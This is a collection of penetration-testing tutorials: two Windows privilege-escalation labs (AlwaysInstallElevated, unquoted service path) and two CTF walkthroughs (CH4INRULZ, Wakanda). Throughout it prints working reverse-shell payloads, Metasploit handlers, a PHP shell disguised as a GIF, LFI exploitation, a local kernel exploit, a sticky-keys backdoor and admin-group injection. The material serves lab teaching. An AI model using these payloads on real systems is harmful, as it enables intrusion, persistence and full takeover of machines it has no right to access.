Windows Privilege Escalation (AlwaysInstallElevated)


Hello Friends!! In this article we are demonstrating the Windows privilege escalation method via the method of AlwaysInstallElevated policy. In penetration testing, when we spawn command shell as local user, it is possible to exploit the vulnerable features (or configuration settings) of Windows Group policy, to further elevate them to admin privileges and gain the administrator access
Table of Content
  • Introduction
  • Lab setup
  • Spawn command shell as local user
  • Escalate privilege manually via .msi payload (MSfvenom)
  • Escalated privilege via Adding user Administrators Group (Msfvenom)
  • Escalate privilege via Post exploit (Metasploit)

Introduction

AlwaysInstallElevated Policy

As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users

For this purpose the AlwaysInstallElevated policy feature is used to install a MSI package file with elevated (system) privileges. This policy if enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high security risk, because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.

Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in Production environment)

Lab set-up

Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux

To make this policy effective [i.e install a package with elevated (system) privileges], we need to ensure that victim machine is deliberately made vulnerable by enabling the AlwaysInstalledElevated Policy in the Computer Configuration and User Configuration folders of the Local Group Policy editor

1. Open the Local Group Policy editor

Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local group Policy editor window prompt will open

2. Change the settings of AlwaysInstalledElevated policy

a. For the Computer configuration

Navigate to the below path in the Windows machine

Computer Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges




b. For the User configuration

Navigate to the below path in the Windows machine
User Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges




This completes the lab setup on the Windows machine .Now let’s proceed to our actual task.

Spawning Victim’s Machine

We need to compromise the Windows victim machine at least once to gain the meterpreter session. As you can observe that we already have victim’s metrepreter session. Let’s open the msfconsole and check the existing current sessions

msfconsole
sessions

As we can see that there exists a session already with the ID 1 . Now let’s open the session 1 and extract the user details

Meterpreter > sessions 1
Meterpreter >getuid

As we can see that we are logged into this session with the username as raj.

Note : The existing user “raj” already exists in the Windows 7 victim machine and is a non-admin user




Now let’s open the command shell of the target machine

Meterpreter >shell

Upon executing the shell command, we would land into the user’s Downloads folder C:\Users\raj\Downloads

We will now run the registry query command on this command prompt so as to verify whether the Windows installer have elevated privileges or not, as per our settings configured earlier

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

As we can see from the output that the registry named “AlwaysInstallElevated” exists with a dword (REG_WORD) value of 0x1, which means that the AlwaysInstallElevated policy is enabled.




Privilege Escalation via .msi payload (1st Method)

Now let’s open a new terminal in Kali machine and generate a MSI Package file (1.msi ) utilizing the Windows Meterpreter payload as follows

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f  msi > /root/Desktop/1.msi




On the existing Meterpreter session of the user, let’s upload our MSI file named 1.msi to the target machine as follows. Once it is uploaded successfully, we will then jump to the shell

upload /root/Desktop/1.msi  .

Note: Before executing the MSI Package file, let's start a MSF handler in another terminal window
(Refer to the commands for same, after the below screenshot)

Execute the MSI package file on the Windows command prompt
msiexec /quiet /qn /i  1.msi




/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation

In a parallel window, we opened a new handler before executing the .msi file

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.120
msf exploit(handler) > set lport 4567
msf exploit(handler) > exploit

Finally we got the meterpreter session using this exploit!!  Let’s have further look at the details of the user privileges we gained on this system
Meterpreter > getsystem
Meterpreter > getuid
Fantastic!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system.




Adding user in Administrators Group (2nd Method)

In this method we will choose a non-admin user from the existing list of users in the target machine and then try to elevate his privileges. Here we will send the relevant Windows commands (to the target machine) , utilizing the windows/exec payload of the Metasploit.

First let us check the details of existing users in the victim machine. Here we can select any user , lets; select a user named “raaz” who is a non-admin user

net user

The verification that the user name “raaz” is in the Local Users group can be done by running the following in the command prompt
net user raaz




Generate a MSI package (2.msi ) with the windows/exec payload, that sends a command instructing to add local admin privileges for the user “raaz” , to the target machine.

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f  msi > /root/Desktop/2.msi




Now let’s upload the MSI file 2.msi to the target machine as follows

Note : Before uploading the MSI file , press Ctrl+Z to exit out of the victim machine’s command shell

In the meterpreter shell type

upload /root/Desktop/2.msi  .

Once the MSI file is uploaded successfully, we will take the command shell and execute the installer file
shell
msiexec /quiet /qn /i  2.msi

The verification that the user name “raaz” has been added into the local administrator group can be done by running the following in the command prompt
net user raaz
As we can see from the screenshot the user raaz is now member of Local Administrators group
Awesome !! We have got the privileges of the non-admin user escalated via using the manual exploit .




Privilege Escalation via Metasploit Post Exploit (3rd Method)
In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy , we can also utilize the inbuilt exploit of the Metasploit module as follows :
Now let’s use this exploit
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > exploit

We got the meterpreter session using the in-built exploit as well !! Now lets have further look at the details of the user privileges
Meterpreter > get system
Meterpreter > getuid

Hurrah!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system

Note : We have shown one of the methodologies to elevate the privileges .This lab can be performed in multiple ways , as there are many other methods of performing the Windows privilege escalation.


Windows Privilege Escalation (Unquoted Path Service)


Hello Friends!! In this article we are demonstrating Windows privilege escalation via Unquoted service Path.  In penetration testing when we spawn command shell as local user, it is not possible to check restricted file or folder, therefore we need to escalated privileges to get administrators access.

Table of content
·         Introduction
·         Lab setup
·         Spawn command shell as local user
·         Escalated privilege via Prepend-migrate
·         Escalated privilege via Adding user Administrators Group
·         Escalated privilege via RDP & Sticky_keys

Introduction

Unquoted service Path Vulnerability
The vulnerability is related to the path of the executable that has a space in the filename and the file name is not enclosed in quote tags (“”) . Also, if it has writable permissions, then an attacker can replace executable  file with its malicious exe file , so as to escalate admin privileges.

Lab set-up
Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux

First we have downloaded and installed a Vulnerable application naming photodex proshow in our windows system, which we found under Exploit DB.




Spawning Victim’s Machine
We need to compromise the windows machine at least once to gain meterpreter session. As you can observe we already have victim’s metrepreter session. Now let’s open the command shell from here.
shell




As you can observe, we have shell access as local_user and to get cmd as administrator we need to escalate its privileges. Firstly we can enumerate out all the services that are running on the victim’s machine and discover those that are not bounded inside quotes tag with help of following command:
wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\windows\\” |findstr /i /v “””

So we have enumerated following path: C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe as you can see there is not quotes tag around the path and also space in filename.




Now let’s identify the folder permissions using following command:
icacls Scsiaccess.exe
As you can observe it has writeable permission for everyone which means user raj can overwrite this file.




Escalated privilege via Prepend-migrate
Now we can place any malicious exe file in the same folder that will give admin privilege when the service will be restarted, Windows will launch this executable instead of the genuine exe.

Open the terminal in kali Linux and type following command to generate exe payload using msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prepenmigrateprocess=explorer.exe –f exe > /root/Desktop/ Scsiaccess.exe
Above command will create a malicious exe file on the Desktop and now send this file to the victim. The payload migrate its process, if current process gets killed; hence attacker will not lose his session if victim kills the current process ID of the payload from its system.




Now replace genuine executable file from the malicious exe, here I have renamed genuine Scsiaccess.exe to Scsiaccess.exe.orginal and uploaded malicious Scsiaccess.exe in same folder and then reboot the victim’s machine.
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/ scsiaccess.exe
reboot




Simultaneously we have start multi/handler listener in a new terminal to catch the meterpreter session with admin privilege.
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
Yuppie!! And after sometime we got shell with admin privileges.




Escalated privilege via Adding user Administrators Group
After spawning shell as local_user, we enumerated all username list with or without admin privileges. So we found user:raaz is not the member of the admin group.
net user
net user raaz




So again we generated an exe file which will add user:raaz into administrators group. The name of our exe file will be same i.e. Scsiaccess.exe
msfvenom -p windows/exec CMD=’net localgroup administrators raaz /add’ -f exe > /root/Desktop/ scsiaccess.exe




Now repeat the above steps, replace genuine executable file from the malicious exe file and reboot the host machine.




If you will notice the following image, you can observe that the user raaz has become the member of Administrators group.




Escalated privilege via RDP & Sticky_keys
Generate an exe using msfvenom with similar name Scsiaccess.exe and then transfer into victim’s machine, meanwhile run multi handler with auto run script which will enable RDP service once the service gets restarted.

use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit




Similarly, we will set the auto run script to enable sticky_keys once the service restarts.

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
As you can observe from below screenshot , another meterpreter session (session 3) got opened which has administrative rights. Now let’s connect to victim’s host via RDP.
rdp 192.168.1.101




Now press shift_key 5 times continuously and you will get command prompt as administrator.


Hack the CH4INRULZ: 1.0.1 (CTF Challenge)


Hello readers and welcome to another CTF challenge. This VM is made by Frank Tope as you’ll see in the very homepage on the server’s website (his resume). Nice touch, if I might add. Anyhow, you can download this VM from vulnhub here. The aim of this lab is to get root and read the congratulatory message written in the flag.

I would rate the difficulty level of this lab to be intermediate. Although, there were no buffer overflows or unnecessary exploit development, yet it did make us think a little.

Steps Involved:
1.       Port Scanning and IP clutching.
2.       Directory busting port 80.
3.       Directory busting port 8011.
4.       Discovering LFI vulnerability.
5.       Discovering an HTML backup file.
6.       Cracking password hash
7.       Logging in /development
8.       Uploading a PHP shell disguised as GIF file.
9.       Bypassing the check and triggering the file to get a netcat shell.
10.   Privilege escalation to get flag.

Alright then, let’s head into the VM all the way in.
First step is as always, running netdiscover on the VM to grab the IP address. In my case the IP was 192.168.1.103.



Once the IP was found, we ran nmap aggressive scan to enumerate all the open ports.




What was there to wait for after we saw port 80 open! We headed straight into the browser and a webpage got displayed which looked like a single page resume.




After not finding much, we chose to ran directory buster dirb.



Robots.txt seemed interesting at first but it had nothing at all. Another directory was /development. It looked like a testing site since it asked for the authentication.


We then chose to look into port 8011, after finding not much of the info. It looked like a backend to development directory.


We ran one more dirb scan on this port.


We found an interesting directory called /api

We opened it in the browser immediately.


We modified the URL parameter to /api/ but only one api seemed to be working and that was files_api.php



A message said “no parameter called file passed to me.” It gave us a hint that we had to pass a parameter called file.


192.168.1.103:8011/api/files_api.php?file=/etc/passwd


HAHA. They got us. But still there was another thing left to try—by passing parameter through curl.
Curl – X POST –d “file=/etc/passwd” http://192.168.1.103:8011/api/files_api.php

As you can see, LFI is present here!



Now, we tried some methods, put our hands here and there but nothing worked with this LFI.
Meanwhile, another thing that got our attention was the development server. You had a development site, you have a development server, and hence there would be more than one html files or copies of html files (backups).

One such common file is index.html.bak
It was an arrow in the dark but it hit the bullseye!



We saved it and read it using cat utility.



It had a password hash!
It took us no time to copy this in a text files called hash.txt and run John the Ripper on it.




It surely were the credentials to /development authentication.
frank:frank!!!!



And it opened up like a beautiful treasure!



The message on this page said that the uploader tool was only half completed. So, we went to /uploader directory



The uploader had a security check for images only (jpg, png, gif) and a size limitation too.

So, here is what we did.
Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php
Open it with text editor and add GIF98 in the first line and save this file as shell.gif



Now, what this will do is that it will trick the uploader in believing the file is GIF when in reality, it is a PHP reverse shell.

So, we upload shell.gif using the uploader and the following message was received.



Now, the author said file was uploaded to his uploads path. Let’s get a little perspective here.
Website’s name: Frank’s website
Uploader’s name: Frank uploader.
First message on website: I love patterns
It took a while for us but we guessed it in the end, the upload’s directory would be named frank uploads.
We tried many permutations for this directory like: Frankupload, frankUploads, franksuploads etc. but the one that seemed to hit was FRANKuploads.
This step was tedious and time consuming as there was no straight connection from anywhere to this directory.



Now, all was left to trigger this file.
We know for a fact that double clicking won’t do us any good so we used curl once again to get shell.

We activated netcat on a terminal side by side and typed this following curl command:

Curl –X POST –d “file=/var/www/development/uploader/FRANKuploads/shell.gif” http://192.168.1.103:8011/api/files_api.php



On other terminal, we had activated netcat:

Nc –lvp 1234



As soon as curl triggered the LFI vulnerability and requested for shell.gif, we got a netcat session!
Id
Python –c ‘import pty;pty.spawn(“/bin/bash”);’
Uname –a


After a bit of surfing, we found a Linux Kernel exploit for version 2.6
Searchsploit 15285
Cd Desktop
Cp /usr/share/exploitdb/exploits/linux/local/15285.c  .
Python –m SimpleHTTPServer 80



On our vm shell, we downloaded this exploit, compiled it and ran it to get root!
Cd tmp
Gcc 15285.c –o 15285
Chmod 777 15285
./15285

Voila! We got root!

Cd root
Ls
Cat root.txt


Hack the Wakanda: 1 (CTF Challenge)


Hello friends! Today we are going to take another CTF challenge known as Wakanda and it is another capture the flag challenge provided for practice. So let’s try to break through it. But before please note that you can download it from here.
Security Level: Intermediate
Flags: There are three flags (flag1.txt, flag2.txt, root.txt)
Penetrating Methodologies
§  Network Scanning (Nmap, netdiscover)
§  HTTP service enumeration
§  Exploiting LFI using php filter
§  Decode the base 64 encoded text for password
§  SSH Login
§  Get 1st Flag
§  Finding files owned by devops
§  Overwrite antivirus.py via malicious python code
§  Get netcat session
§  Get 2nd flag
§  Sudo Privilege Escalation
§  Exploit Fake Pip
§  Get the Root access and Capture the 3rd flag
WalkThrough
Let’s start off with scanning the network to find our target.
netdiscover
We found our target –> 192.168.1.124
Our next step is to scan our target with NMAP.
nmap -p- -A 192.168.1.124

The NMAP output shows us that there are 4 ports open: 80 (HTTP), 111 (RPC), 333(SSH), 48920(RPC)
Browsed the URL http://192.168.1.124 and poked around; however we were not able to get any significant clues to move forward  

We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb http://192.168.1.124

All the pages that we find in the dirb scan has size zero and we don’t find any content on any of the pages. We take a look at the source page of the index file and we find a “lang” parameter commented inside the page.

We use the “lang” parameter, just like it was shown in the page and find the text has been converted into French. Now we check if the “lang” parameter is vulnerable to LFI.

We are able to exploit the LFI vulnerability using “php://filter/convert.base64-encode” function and access the index page.
curl http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index

We decode the base64 encoded string and find the password “Niamey4Ever227!!!”. On the page we find that “mamadou” is the author. We use these credentials to login through ssh on the target machine.

When we login through ssh we get a python IDE prompt. We import pty module, and spawn ‘/bin/bash’ shell. We take a look at home directory for user mamaduo and find the first flag.

Enumerating through the directories, inside /tmp directory we find a file called test. We open it and find nothing interesting, but when we take a closer look at the file we find it that is owned by a devops. Now we find all the files owned by user devops and find a file called “.antivirus.py” inside /srv directory.
find / -user devops 2>/dev/null

Now when we open the python file we find that it is opening and test file and writing “test” inside it. To exploit this, we replace the code with shellcode. First we create a msfvenom payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R

After creating the payload, we open the “. antivirus.py” file and comment out the earlier code and insert our payload without adding “python -c”.

We setup our listener using netcat, we wait for a few minutes for the script to get executed. As soon as the script is executed we get a reverse shell. When we check the UID we find that we spawned a shell for devops. Now we go to /home/devops directory and find the second flag. After getting the second flag we find that we can execute pip is super user without root.

Now there is script called Fakepip (download here), that can be used to exploit this vulnerability.

We download the fakepip script into our system to edit the payload inside.
We edit the payload inside os.system function.

We decode the base64 encoded string and change the IP address to our IP address. Then we again convert the string to base64 and replace the older string with the new one.

We start the python server on our system, so that we can upload the FakePip script into the target machine.
python -m SimpleHTTPServer 80

After we start HTTP server, we download the script on the target machine using wget. Now execute the command as per the instructions given to us on the FakePip readme file.
sudo pip install . --upgrade --force-install

As soon as we run the command we get a reverse shell as root user. We now go to root directory and find the root flag.